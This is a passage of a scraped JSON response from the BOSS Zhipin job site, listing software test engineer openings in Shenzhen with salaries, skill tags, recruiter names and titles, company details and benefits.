"daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "岗厦", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 23, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681088295000, "encryptBrandId": "d2a1e8f68430d0e71XBy3NS9E1E~", "brandName": "兆联信息", "brandLogo": "https://img.bosszhipin.com/beijin/icon/894ce6fa7e58d64d57e7f22d2f3a9d18afa7fcceaa24b8ea28f56f1bb14732c0.png", "brandStageName": "", "brandIndustry": "互联网", "brandScaleName": "20-99人", "welfareList": [], "industry": 100020, "contact": false }, { "securityId": "hw4KgWqQJdzCn-_1crXcXd_st91pCRRMakQu7W6Mn7X5fwe13q_uypWFq2wp-D1f1UfXv8vTrr53Xhmki2hWU5BTcHWLhUU366SoG2gjTSB4rHoN0w~~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_2.png", "bossCert": 3, "encryptBossId": "9192334c3692e0711HB43tu1EVA~", "bossName": "黄先生", "bossTitle": "HR", "goldHunter": 0, "bossOnline": false, "encryptJobId": "bf6d494bfe5c04531XZ82dS5E1tW", "expectId": 0, "jobName": "测试工程师", "lid": "9wrLRd13ZJ8.search.24", "salaryDesc": "10-15K·14薪", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "硬件测试", "APP测试", "服务端测试", "黑盒测试", "压力测试", "功能测试", "性能测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "西丽", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 24, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1687144695000, "encryptBrandId": "2abbba9a16cdb27f0HV729y1Fg~~", "brandName": "小智物联网", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20200225/7d303d26a24b339ec09807e13ffdd25ad2e36008b07da4484ebde855ee080010_s.jpg", "brandStageName": "不需要融资", "brandIndustry": "电子商务", "brandScaleName": "100-499人", "welfareList": [ "节日福利", "员工旅游", "五险一金", "年终奖", "五天制", "带薪年假", "住房补贴", "零食下午茶", "通讯补贴" ], "industry": 100001, "contact": false }, { "securityId": "OXskehmCKtMvQ-L1SiovwPXXFb8P92OdaVuK0gH3K0AtWObk9GZFVAAuHMlN0G8q6DK80tq41ZOMtXeX3QHcjoBZ4cS9OFYqg6N2_0xJXkXK1zs~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20200927/9d37ee863c43d91d55d18463fd15bc4a08f68a91cbb6d1c78f09b219bb0fa8c3_s.jpg", "bossCert": 3, "encryptBossId": "fe3ba3a9da3894421XV_09u6GFA~", "bossName": "王先生", "bossTitle": "senior engineer", "goldHunter": 0, "bossOnline": false, "encryptJobId": "ec59185fd5cac8bd03d-3du-FVE~", "expectId": 0, "jobName": "测试工程师", "lid": "9wrLRd13ZJ8.search.25", "salaryDesc": "15-28K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "性能测试", "自动化测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 25, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681946565000, "encryptBrandId": "0e1bc15942b85a7d1nB90ty8", "brandName": "Shopee", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/23e21c31f42452d5262cd9a5fe799f83cfcd208495d565ef66e7dff9f98764da.png", "brandStageName": "已上市", "brandIndustry": "电子商务", "brandScaleName": "1000-9999人", "welfareList": [ "五险一金", "带薪年假", "补充医疗保险", "定期体检", "零食下午茶" ], "industry": 100001, "contact": false }, { "securityId": "izFWkctoKFcki-r12YBZLstqRzTfTjkOlSXb1LIBgChYUKHzRBBdU8xbCBKW4WLittMrfPwVQqyM_AqA8eYh_cFYb6bLSmMIWpB6vXfHDuIsDq-wzWZ3", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20210317/0b7d58f9be91294e5e23c6a34c1647d0fad9403627e479d4b24d68193b94f068_s.png", "bossCert": 3, "encryptBossId": "0661e4ce2079cf7a0nZ529q0FlBW", "bossName": "易女士", "bossTitle": "hr", "goldHunter": 0, "bossOnline": false, "encryptJobId": "34549e90271d696b1XVz296-GVRT", "expectId": 0, "jobName": "测试工程师", "lid": "9wrLRd13ZJ8.search.26", "salaryDesc": "15-25K·13薪", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "自动化测试", "性能测试", "系统测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 26, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681799658000, "encryptBrandId": "314d5a1040968f801nZ63tm7ElM~", "brandName": "湖南航空", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20201022/9208803f96d961bdd0fe6220fbe9faa929a3433569df473c5ee1a39899f42afb_s.jpg", "brandStageName": "未融资", "brandIndustry": "交通/运输", "brandScaleName": "1000-9999人", "welfareList": [ "餐补", "带薪年假", "免费班车", "交通补助", "节日福利", "通讯补贴", "五险一金", "定期体检", "年终奖" ], "industry": 100501, "contact": false }, { "securityId": "W8s3ubk5U13aH-G18lmxxHBOfuOGFW11NotlbFtdMYBJkUxqbLdv7IsvQgVWo-Uh-Rqy2exZpoHzX1jw9OJhXccwygELy14WVYTYf1pZ9JrcHXoXEqs~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230628/607f1f3d68754fd023aa185ccb810b26d0c2c6b035cb729747d26054187a1bcafe86021addc133df_s.png", "bossCert": 3, "encryptBossId": "cd220971f119427a1XR73tq7EVM~", "bossName": "孙女士", "bossTitle": "人事经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "73ebe580cd36e7641nR83ty1FFBQ", "expectId": 0, "jobName": "测试工程师", "lid": "9wrLRd13ZJ8.search.27", "salaryDesc": "9-14K·13薪", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "测试工程师", "接口测试", "功能测试", "Linux", "Postman", "Jmeter" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "", "businessDistrict": "", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 27, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681872655000, "encryptBrandId": "014052c525c31a801nVz3du4FFc~", "brandName": "燊森", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20200921/06d70be5768acaeb85c89a27d1dd6a6047d26054187a1bcafe86021addc133df_s.jpg", "brandStageName": "未融资", "brandIndustry": "计算机软件", "brandScaleName": "20-99人", "welfareList": [ "零食下午茶", "员工旅游", "年终奖", "定期体检", "五险一金", "全勤奖", "餐补", "带薪年假", "节日福利" ], "industry": 100021, "contact": false }, { "securityId": "FcXlgNsCShEjY-21nampK2JInibSgZilttInp0DjXEAkCJeU18YyB6OQVBaXRiraknsWHBlYcWY4L9G-ud0x8DVay2oPpvS89uEWivtQt3_8OGY~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230208/607f1f3d68754fd0b6e1af8086a936ddbef32157e66bfa9fa9c995032a3c0b82bfad0f75ec1ca66c_s.jpg", "bossCert": 3, "encryptBossId": "32dfab3a8db80d7a1HV-0960", "bossName": "井女士", "bossTitle": "招聘主管", "goldHunter": 0, "bossOnline": false, "encryptJobId": "6b2734a582453ebd1XN629i-EFFR", "expectId": 0, "jobName": "测试工程师", "lid": "9wrLRd13ZJ8.search.28", "salaryDesc": "13-18K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "银行", "财务票据", "应收、应付" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "车公庙", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 28, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1687845454000, "encryptBrandId": "e4f85a88c9448c2e33N80tW4Eg~~", "brandName": "司库立方", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20200615/53cfe20ba52d69b9c8741a9c6983bb9b3e9571029ba8779f9f48dd2e6bad56c0_s.jpg", "brandStageName": "B轮", "brandIndustry": "计算机软件", "brandScaleName": "100-499人", "welfareList": [ "补充医疗保险", "零食下午茶", "餐补", "带薪病假", "五险一金", "带薪年假" ], "industry": 100021, "contact": false }, { "securityId": "qheM9LmHVrDWA-o1yPFQEAK6e47ITEUvo8S8GM7KkdYRVc8u0p3_iGCss-XKGEKPnE8Z4rD-uovdKEbcxiTW8FAGy_ireHBLpeNaZHY2BfmATwjlBg~~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_4.png", "bossCert": 3, "encryptBossId": "20c302a4819eecc70ndz29m6EVpY", "bossName": "周女士", "bossTitle": "人事", "goldHunter": 0, "bossOnline": false, "encryptJobId": "8c50ee8d2051fce71XV83Ni1EVJV", "expectId": 0, "jobName": "测试工程师", "lid": "9wrLRd13ZJ8.search.29", "salaryDesc": "10-15K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "Java", "Python", "SQL", "Linux", "MySQL", "自动化测试", "功能测试", "性能测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 29, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681799796000, "encryptBrandId": "986e4a7058eb4ebc03By3d60", "brandName": "给乐科技", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20220210/7bf6f160950405e9ce59f65fc34c885764a6fed9ab5e433a83f2b96172eb2d2b38c98dbf848267c6.jpg", "brandStageName": "不需要融资", "brandIndustry": "互联网", "brandScaleName": "20-99人", "welfareList": [ "五险一金", "节日福利", "股票期权", "带薪年假" ], "industry": 100020, "contact": false }, { "securityId": "LsM060f2P7oiw-N1RABhi9elCfCscQAx2OKKfTYDL0UcDNXC1PZM2cd64OotKYyXRunsaiyNPzdcXc1Jljb55Ffs1X3TsZLZ5LtTQ_A0DneuMlQqIno~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_3.png", "bossCert": 3, "encryptBossId": "1f9dd5e01a89d78e1nV60tu5GVJS", "bossName": "黄女士", "bossTitle": "人事专员", "goldHunter": 0, "bossOnline": false, "encryptJobId": "cf54b002aa7327aa1n1-09i1GVBX", "expectId": 0, "jobName": "测试工程师", "lid": "9wrLRd13ZJ8.search.30", "salaryDesc": "11-20K·13薪", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "性能测试", "自动化测试", "安全测试", "网络测试", "渗透测试", "软件测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "", "businessDistrict": "", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 30, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1685496741000, "encryptBrandId": "5a0372ed03fc274f0HNz3N25GA~~", "brandName": "融安网络", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20211215/7bf6f160950405e9626505801dfbed679effb5e8869fb3f9dbee50241a74f4c5077938786a7b9008.jpg", "brandStageName": "C轮", "brandIndustry": "信息安全", "brandScaleName": "100-499人", "welfareList": [ "零食下午茶", "餐补", "加班补助", "年终奖", "员工旅游", "带薪年假", "五险一金", "股票期权", "通讯补贴", "交通补助", "定期体检", "节日福利" ], "industry": 100016, "contact": false } ] } }, { "code": 0, "message": "Success", "zpData": { "hasMore": true, "jobList": [ { "securityId": "NiagI3i1FzXLM-s1VewdZgev_SoOJ4obSjLBP1eAuNw9ZzezvhoiOPIPQEjs5JdslPPuiCj_Wl-1eeYTD50Mws2ImcEjQUVMGvvxTPdd2x3yacvoqw2Nr7PEO8fmOoRNS8xoND_dBMr57wGiU9RAzMW8H6vD8rWdYfqcahilc28GJeE~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20221210/607f1f3d68754fd0416bc1f34627f8d1dfbdfad369588813967c3a40938c09b0c20f8cde3815291c_s.jpg", "bossCert": 3, "encryptBossId": "7c1065504066beba03N72du5E1Y~", "bossName": "孙女士", "bossTitle": "招聘者", "goldHunter": 0, "bossOnline": true, "encryptJobId": "cf40221d757cd3421Xd-2966FlJZ", "expectId": 92940501, "jobName": "软件测试(外包大厂+试用期薪资100%)", "lid": "9vXIiY4ztcW.search.1", "salaryDesc": "10-15K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "Python", "自动化测试经验", "计算机相关专业", "腾讯", "自动化测试", "移动端测试", "软件测试", "互联网", "深信服", "接口测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 1, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1691981117000, "encryptBrandId": "c8311034740eee121nVz09S7E1U~", "brandName": "软通动力", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/logo/20210830/7b5b554d84f9729cb81dae6da87b9eddbf6e3e481ce34ae8c7421cffdbdea8d6f11cda4aeefd5586.jpg", "brandStageName": "已上市", "brandIndustry": "计算机软件", "brandScaleName": "10000人以上", "welfareList": [ "加班补助", "节日福利", "通讯补贴", "五险一金", "免费班车", "团建活动", "交通补助", "带薪年假", "定期体检", "零食下午茶", "补充医疗保险", "生日福利" ], "industry": 100021, "contact": false }, { "securityId": "smaOftEg0r-HM-91wwoK1kjN7AWUhYvvLOUmLHyQgrGHrmKU2tBDzhYKaHUw6Ip3Wkf8YmfSFrZsMs0Ubr6jTpsqe9Fcb0atgY9lo_4CcxEMIrbJK0Ie34pzJsqdAwanT1K2P_GKtA~~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_1.png", "bossCert": 3, "encryptBossId": "eca42c4ec3ec39d81HR73N2_FVI~", "bossName": "陈瑞玲", "bossTitle": "招聘者", "goldHunter": 0, "bossOnline": false, "encryptJobId": "409514f0bb1cdaef1HR70ty0FVpW", "expectId": 92940501, "jobName": "测试工程师(深大地铁站)", "lid": "9vXIiY4ztcW.search.2", "salaryDesc": "12-13K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "性能测试", "自动化测试", "Java", "金融", "消费金融" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 2, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1691548095000, "encryptBrandId": "b1afe1b9f18542651HZz3tW9GQ~~", "brandName": "云领科技", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20190226/8f3af86b9e05c88eab641c5cd64e2ffb5455cc9a68e77fe5f60ba78da3616b62.jpg", "brandStageName": "不需要融资", "brandIndustry": "互联网", "brandScaleName": "1000-9999人", "welfareList": [ "零食下午茶", "五险一金", "节日福利", "加班补助", "员工旅游", "带薪年假", "定期体检" ], "industry": 100020, "contact": false }, { "securityId": "is8bVDSkTMCFN-21UJfu5-XlYzNVlSguRfItYFiDcs3-WRJfcUoi5oMki8ef-3PuhppkwsodOhnUOL3L5TPUqoBltTFREMXy2vjSMhC1gXLZ_NEpcA61qFA6ThqqEy_L5EbWN3tA", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20220105/607f1f3d68754fd0b9a8954898bb8d6323400e67370a868701306af472187fa9b3ba522e4a1c8261_s.png", "bossCert": 3, "encryptBossId": "102ce9eac974c7dc031409y4GVI~", "bossName": "严先生", "bossTitle": "招聘主管", "goldHunter": 0, "bossOnline": false, "encryptJobId": "de2d5a86106933571HR63ty0FVNT", "expectId": 92940501, "jobName": "测试(智能家居 双休 包吃 有加班费)", "lid": "9vXIiY4ztcW.search.3", "salaryDesc": "10-12K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "嵌入式测试", "智能摄像头", "安防摄像头" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "西丽", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 3, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1691545985000, "encryptBrandId": "e44063ab762f0e6e1XR60t29", "brandName": "拓保软件", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/8a1a84f879ebdbd5f0503c49bc0f424ecfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "不需要融资", "brandIndustry": "计算机软件", "brandScaleName": "1000-9999人", "welfareList": [ "有无线网", "全勤奖", "生日福利", "加班补助", "节日福利", "保底工资", "意外险", "零食下午茶", "餐补", "补充医疗保险", "免费班车", "团建旅游", "定期体检", "员工旅游", "带薪年假", "年终奖", "底薪加提成", "体检", "绩效奖金", "五险一金" ], "industry": 100021, "contact": false }, { "securityId": "8MxvmkhvWgY0--B1QPdNyVE023kw6dqF15qeWNy-pv3ioqDbWdI7IRyJKp5_hMizw_Xxc1q1C6snL_xRFKiCUGf-EWZlGIlLH0iubGSH8mzv7_H2rLQ0toxxHtCnrxCZtX-awUI9", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/tmp/20211202/a2f3e71d9181a67b9f01b7cc328fb8c07717799e459806141c296349dea37eddcc70f0f1b149bad5_s.jpg", "bossCert": 3, "encryptBossId": "6db3c2471bb8779c03d_2tW7FVQ~", "bossName": "张女士", "bossTitle": "HR", "goldHunter": 0, "bossOnline": false, "encryptJobId": "ffe3680f0fd0fea01XNy39u0EVNT", "expectId": 92940501, "jobName": "软件测试-双休稳定", "lid": "9vXIiY4ztcW.search.4", "salaryDesc": "10-15K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "性能测试", "自动化测试", "Python", "MySQL", "计算机相关专业", "测试工作经验", "自动化测试经验" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 4, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692149718000, "encryptBrandId": "70807861435f3d060XN-0t25", "brandName": "同和信息技术有限公司", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20170519/1e4ef3856ecc3d2623970797c96de8c4885a83d2faca3f7e81b5ea0e0cebc3f9.jpg", "brandStageName": "未融资", "brandIndustry": "计算机软件", "brandScaleName": "1000-9999人", "welfareList": [ "带薪年假", "定期体检", "零食下午茶", "五险一金", "节日福利" ], "industry": 100021, "contact": false }, { "securityId": "0RANDTC3lAqP0-11KpFkBY_gt0BVHbng-hPD0m9XvsG40vnEc-tnqgCaCifWQw0o0McXLA9T1HXi7UZrOwbyYXXPHdibiiVUPWmFA0ZKB4bHpda0yTmTX2chEWPOR2PYs37DWrZGNjw~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230324/607f1f3d68754fd0b811dd77faf236f2d6cd91a0e117ebe08af1be6ddf6cc9aa56f80816e3921000_s.png", "bossCert": 3, "encryptBossId": "ade31bd6e969fb830nJ72d-9EFBZ", "bossName": "陈梦玲", "bossTitle": "猎头顾问", "goldHunter": 1, "bossOnline": false, "encryptJobId": "4e37005bf4ab2bb01Xxz2968F1JV", "expectId": 92940501, "jobName": "道路测试工程师", "lid": "9vXIiY4ztcW.search.5", "salaryDesc": "15-25K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能匹配", "提测", "数据采集" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "", "businessDistrict": "", "jobType": 0, "proxyJob": 1, "proxyType": 1, "anonymous": 20, "outland": 0, "optimal": 0, "iconFlagList": [ 8 ], "itemId": 5, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1690936571000, "encryptBrandId": "1d528518dc58cbbe1HB_3Nq1GA~~", "brandName": "某大型数据服务公司", "brandLogo": "https://img.bosszhipin.com/beijin/app/mobile/n-af8dd288f86448d9eaaf3a4b0fd60b27.png", "brandStageName": "C轮", "brandIndustry": "数据服务", "brandScaleName": "500-999人", "welfareList": [ "餐补", "年终奖", "五险一金", "股票期权", "带薪年假", "定期体检", "补充医疗保险", "节日福利", "包吃", "零食下午茶" ], "industry": 100005, "contact": false }, { "securityId": "rHJnVjM6NK8cv-H1fsGAotvsKpV9chRN72p52DDUtGmAeMtpAOVHEquIQyIronaYyLQ_lzCO4KkyWS5tJDE-3x9kMyRkv8p4LMlDudMQooVNafxCUZbZxM27vvrcPTroArS-UopLEVDU", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230418/607f1f3d68754fd092637517656788642f7931a0375bc2c98ed2bc0a37ca547a16075670e0decdcd_s.jpg", "bossCert": 3, "encryptBossId": "6202172ddd56c6e30nJ-3tS4FVZW", "bossName": "张楠", "bossTitle": "HR", "goldHunter": 0, "bossOnline": false, "encryptJobId": "3eb937f623aed7a71X1929u0EVJX", "expectId": 92940501, "jobName": "功能测试", "lid": "9vXIiY4ztcW.search.6", "salaryDesc": "14-28K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "自动化测试", "计算机专业" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 6, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1691729038000, "encryptBrandId": "1884e591e56b5dfb1nZ509W8EFQ~", "brandName": "建广数科", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/6845a547ac9536a6163287e5b631eafdcfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "未融资", "brandIndustry": "计算机软件", "brandScaleName": "1000-9999人", "welfareList": [ "节日福利", "补充医疗保险", "带薪年假", "五险一金", "年终奖", "员工旅游", "定期体检" ], "industry": 100021, "contact": false }, { "securityId": "E0hhslHKDr-Va-M1AyFKcBlmqxYXgxKCqlA-No4I6Z37-HEivntwX-gsUPYVIho2MgL4OrkC8RyKd6A2kElqsmVHAPxnifx7CFf0lPVM6BNCK624Gf67vIkeWK4WGAlcZFx9u0xW9Ma9cxtukO-Jeugq9JUtv-u0oWiaHL3hM3T1YHg~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_16.png", "bossCert": 3, "encryptBossId": "f3219fc050e2b07a0nJ62d-0GVNY", "bossName": "赵技华", "bossTitle": "技术总监", "goldHunter": 0, "bossOnline": true, "encryptJobId": "99108b0aa2e966f11HR529i-F1pQ", "expectId": 92940501, "jobName": "测试工程师", "lid": "9vXIiY4ztcW.search.7", "salaryDesc": "10-15K·14薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "压力测试", "性能测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "购物公园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 7, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692083949000, "encryptBrandId": "bc6c61999d8d97700XR-2Ni6Fg~~", "brandName": "智科城", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20220930/7bf6f160950405e9adebc48e07f4d1e557329cfb5da94f215943cc7c37d747b9989bd9b46ca14f45.jpg", "brandStageName": "未融资", "brandIndustry": "批发/零售", "brandScaleName": "100-499人", "welfareList": [ "年终奖", "住房补贴", "餐补", "包吃", "免费班车", "带薪年假", "通讯补贴", "绩效奖金", "股票期权", "零食下午茶", "员工旅游", "全勤奖", "补充医疗保险", "定期体检", "加班补助", "交通补助", "节日福利", "五险一金" ], "industry": 100503, "contact": false }, { "securityId": "JkPBEcEjngP4X-T1o23KGZp0VDfxchrUpSkKn06u1ydr_PrUUTmmtapP517OSmGifWdW9fcKxIZBObwGQiaPNApm9ea36h2uWYbl4zDHSyt0tj8mEBCjvl4A-vCGmRqBLBu89yPanT8~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_6.png", "bossCert": 3, "encryptBossId": "fec10f0ea97597420nR83ti0EVY~", "bossName": "刘先生", "bossTitle": "招聘者", "goldHunter": 0, "bossOnline": false, "encryptJobId": "e32a0dd79315823c1XR73du_ElRW", "expectId": 92940501, "jobName": "测试工程师", "lid": "9vXIiY4ztcW.search.8", "salaryDesc": "9-14K·13薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "宝安区", "businessDistrict": "新安", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 8, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1680875172000, "encryptBrandId": "90c166f79a68756f1nx73dy-ElQ~", "brandName": "众鼎智能", "brandLogo": "https://img.bosszhipin.com/beijin/app/mobile/normal-0e3f1e4441a21d4874cece3a3d81f0fe.png", "brandStageName": "", "brandIndustry": "智能硬件", "brandScaleName": "20-99人", "welfareList": [ "节日福利", "员工旅游", "年终奖", "五险一金", "交通补助", "补充医疗保险", "股票期权" ], "industry": 100018, "contact": false }, { "securityId": "noUEPOkzPB4xu-A1AI56ZBXFRhqzrUsMWIdcIZ5dM9vPqbrsBWtnwDOmZlAUMHMWusfVyWmNIFwohx_LvjPKaLdQZrqlwR-qk5l5iNTX9pZZ1mANkGqaIYKoArX2chbYokdwApngPQ~~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_6.png", "bossCert": 3, "encryptBossId": "af4645de26ff5a741HJ909i0E1U~", "bossName": "李俊", "bossTitle": "招聘者", "goldHunter": 0, "bossOnline": false, "encryptJobId": "1a18ef9e60cd61411nF63Nq9ElpZ", "expectId": 92940501, "jobName": "软件测试工程师", "lid": "9vXIiY4ztcW.search.9", "salaryDesc": "7-11K", "jobLabels": [ "3-5年", "中专/中技" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "软件测试", "压力测试", "黑盒测试", "iOS测试", "Android测试", "白盒测试", "系统测试", "性能测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "中专/中技", "cityName": "深圳", "areaDistrict": "宝安区", "businessDistrict": "西乡", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 9, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1687160696000, "encryptBrandId": "9247e7e4a62229d61nJz0t-4Ew~~", "brandName": "腾星宏俊", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20191120/94d75abb78049be3023e0f427b34993371358c733dd975a8e239bf2b8777368f_s.jpg", "brandStageName": "未融资", "brandIndustry": "电子商务", "brandScaleName": 